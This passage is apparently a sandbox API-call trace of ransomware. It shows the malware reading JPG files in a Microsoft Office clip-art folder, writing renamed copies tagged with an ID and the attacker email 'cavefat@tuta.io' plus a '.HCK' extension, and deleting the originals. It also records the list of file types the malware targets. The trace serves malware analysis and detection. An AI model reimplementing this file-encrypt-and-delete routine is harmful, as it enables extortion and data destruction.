lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0172.502] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.502] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.502] SetEndOfFile (hFile=0x388) returned 1 [0172.505] CloseHandle (hObject=0x388) returned 1 [0172.507] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.508] SetEndOfFile (hFile=0x308) returned 1 [0172.512] CloseHandle (hObject=0x308) returned 1 [0172.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341448.jpg")) returned 1 [0172.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG") returned 68 [0172.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG") returned 68 [0172.518] lstrlenW (lpString=".doc") returned 4 [0172.518] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.518] lstrlenW (lpString=".docx") returned 5 [0172.518] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0172.518] lstrlenW (lpString=".pdf") returned 4 [0172.518] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.518] lstrlenW (lpString=".xls") returned 4 [0172.518] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.518] lstrlenW (lpString=".xlsx") returned 5 [0172.518] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0172.518] lstrlenW (lpString=".ppt") returned 4 [0172.518] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG") returned 68 [0172.518] lstrlenW (lpString=".zip") returned 4 [0172.518] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.518] lstrlenW (lpString=".rar") returned 4 [0172.518] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.518] lstrlenW (lpString=".bz2") returned 4 [0172.518] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.518] lstrlenW (lpString=".7z") returned 3 [0172.518] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG") returned 68 [0172.518] lstrlenW (lpString=".dbf") returned 4 [0172.518] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG") returned 68 [0172.518] lstrlenW (lpString=".1cd") returned 4 [0172.518] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG") returned 68 [0172.519] lstrlenW (lpString=".jpg") returned 4 [0172.519] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG") returned 68 [0172.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG") returned 68 [0172.519] lstrlenW (lpString=".doc") returned 4 [0172.519] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.519] lstrlenW (lpString=".docx") returned 5 [0172.519] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0172.519] lstrlenW (lpString=".pdf") returned 4 [0172.519] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.519] lstrlenW (lpString=".xls") returned 4 [0172.519] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.519] lstrlenW (lpString=".xlsx") returned 5 [0172.519] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0172.519] lstrlenW (lpString=".ppt") returned 4 [0172.519] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG") returned 68 [0172.519] lstrlenW (lpString=".zip") returned 4 [0172.519] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.519] lstrlenW (lpString=".rar") returned 4 [0172.519] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.519] lstrlenW (lpString=".bz2") returned 4 [0172.519] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.519] lstrlenW (lpString=".7z") returned 3 [0172.519] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG") returned 68 [0172.519] lstrlenW (lpString=".dbf") returned 4 [0172.519] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG") returned 68 [0172.519] lstrlenW (lpString=".1cd") returned 4 [0172.519] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG") returned 68 [0172.519] lstrlenW (lpString=".jpg") returned 4 [0172.519] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.519] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.519] lstrlenW (lpString="J0341534.JPG") returned 12 [0172.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341534.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.522] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8074) returned 1 [0172.522] CloseHandle (hObject=0x384) returned 1 [0172.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341534.jpg")) returned 0x220 [0172.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341534.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341534.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0172.530] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.530] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341534.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.536] GetLastError () returned 0x0 [0172.536] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1f8a, lpOverlapped=0x0) returned 1 [0172.539] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1f90, lpOverlapped=0x0) returned 1 [0172.540] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.540] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.540] SetEndOfFile (hFile=0x368) returned 1 [0172.543] CloseHandle (hObject=0x368) returned 1 [0172.544] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.544] SetEndOfFile (hFile=0x39c) returned 1 [0172.547] CloseHandle (hObject=0x39c) returned 1 [0172.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341534.jpg")) returned 1 [0172.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG") returned 68 [0172.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG") returned 68 [0172.555] lstrlenW (lpString=".doc") returned 4 [0172.555] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.555] lstrlenW (lpString=".docx") returned 5 [0172.555] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0172.555] lstrlenW (lpString=".pdf") returned 4 [0172.555] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.555] lstrlenW (lpString=".xls") returned 4 [0172.555] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.555] lstrlenW (lpString=".xlsx") returned 5 [0172.555] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0172.555] lstrlenW (lpString=".ppt") returned 4 [0172.555] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG") returned 68 [0172.555] lstrlenW (lpString=".zip") returned 4 [0172.555] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.555] lstrlenW (lpString=".rar") returned 4 [0172.555] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.555] lstrlenW (lpString=".bz2") returned 4 [0172.555] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.555] lstrlenW (lpString=".7z") returned 3 [0172.555] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG") returned 68 [0172.555] lstrlenW (lpString=".dbf") returned 4 [0172.555] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG") returned 68 [0172.555] lstrlenW (lpString=".1cd") returned 4 [0172.555] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG") returned 68 [0172.555] lstrlenW (lpString=".jpg") returned 4 [0172.555] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG") returned 68 [0172.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG") returned 68 [0172.555] lstrlenW (lpString=".doc") returned 4 [0172.555] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.555] lstrlenW (lpString=".docx") returned 5 [0172.555] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0172.555] lstrlenW (lpString=".pdf") returned 4 [0172.555] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.555] lstrlenW (lpString=".xls") returned 4 [0172.555] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.555] lstrlenW (lpString=".xlsx") returned 5 [0172.555] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0172.555] lstrlenW (lpString=".ppt") returned 4 [0172.555] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG") returned 68 [0172.555] lstrlenW (lpString=".zip") returned 4 [0172.555] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.555] lstrlenW (lpString=".rar") returned 4 [0172.555] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.556] lstrlenW (lpString=".bz2") returned 4 [0172.556] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.556] lstrlenW (lpString=".7z") returned 3 [0172.556] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG") returned 68 [0172.556] lstrlenW (lpString=".dbf") returned 4 [0172.556] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG") returned 68 [0172.556] lstrlenW (lpString=".1cd") returned 4 [0172.556] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG") returned 68 [0172.556] lstrlenW (lpString=".jpg") returned 4 [0172.556] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.556] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.556] lstrlenW (lpString="J0341559.JPG") returned 12 [0172.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341559.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.558] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=26739) returned 1 [0172.558] CloseHandle (hObject=0x368) returned 1 [0172.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341559.jpg")) returned 0x220 [0172.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341559.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341559.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.567] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.567] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341559.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0172.571] GetLastError () returned 0x0 [0172.571] ReadFile (in: hFile=0x384, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x6873, lpOverlapped=0x0) returned 1 [0172.573] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x6880, lpOverlapped=0x0) returned 1 [0172.574] ReadFile (in: hFile=0x384, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.574] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.574] SetEndOfFile (hFile=0x308) returned 1 [0172.576] CloseHandle (hObject=0x308) returned 1 [0172.578] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.578] SetEndOfFile (hFile=0x384) returned 1 [0172.582] CloseHandle (hObject=0x384) returned 1 [0172.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341559.jpg")) returned 1 [0172.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG") returned 68 [0172.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG") returned 68 [0172.585] lstrlenW (lpString=".doc") returned 4 [0172.585] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.585] lstrlenW (lpString=".docx") returned 5 [0172.585] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0172.585] lstrlenW (lpString=".pdf") returned 4 [0172.585] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.585] lstrlenW (lpString=".xls") returned 4 [0172.585] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.585] lstrlenW (lpString=".xlsx") returned 5 [0172.585] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0172.585] lstrlenW (lpString=".ppt") returned 4 [0172.585] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG") returned 68 [0172.586] lstrlenW (lpString=".zip") returned 4 [0172.586] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.586] lstrlenW (lpString=".rar") returned 4 [0172.586] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.586] lstrlenW (lpString=".bz2") returned 4 [0172.586] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.586] lstrlenW (lpString=".7z") returned 3 [0172.586] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG") returned 68 [0172.586] lstrlenW (lpString=".dbf") returned 4 [0172.586] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG") returned 68 [0172.586] lstrlenW (lpString=".1cd") returned 4 [0172.586] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG") returned 68 [0172.586] lstrlenW (lpString=".jpg") returned 4 [0172.586] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG") returned 68 [0172.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG") returned 68 [0172.586] lstrlenW (lpString=".doc") returned 4 [0172.586] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.586] lstrlenW (lpString=".docx") returned 5 [0172.586] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0172.586] lstrlenW (lpString=".pdf") returned 4 [0172.586] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.586] lstrlenW (lpString=".xls") returned 4 [0172.586] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.586] lstrlenW (lpString=".xlsx") returned 5 [0172.586] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0172.586] lstrlenW (lpString=".ppt") returned 4 [0172.586] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG") returned 68 [0172.586] lstrlenW (lpString=".zip") returned 4 [0172.586] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.586] lstrlenW (lpString=".rar") returned 4 [0172.586] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.586] lstrlenW (lpString=".bz2") returned 4 [0172.586] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.586] lstrlenW (lpString=".7z") returned 3 [0172.586] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG") returned 68 [0172.586] lstrlenW (lpString=".dbf") returned 4 [0172.586] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG") returned 68 [0172.586] lstrlenW (lpString=".1cd") returned 4 [0172.586] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG") returned 68 [0172.586] lstrlenW (lpString=".jpg") returned 4 [0172.586] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.587] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.587] lstrlenW (lpString="J0341645.JPG") returned 12 [0172.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341645.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0172.594] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8230) returned 1 [0172.594] CloseHandle (hObject=0x388) returned 1 [0172.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341645.jpg")) returned 0x220 [0172.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341645.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0172.597] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.597] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341645.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.606] GetLastError () returned 0x0 [0172.606] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2026, lpOverlapped=0x0) returned 1 [0172.607] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2030, lpOverlapped=0x0) returned 1 [0172.608] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.608] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, 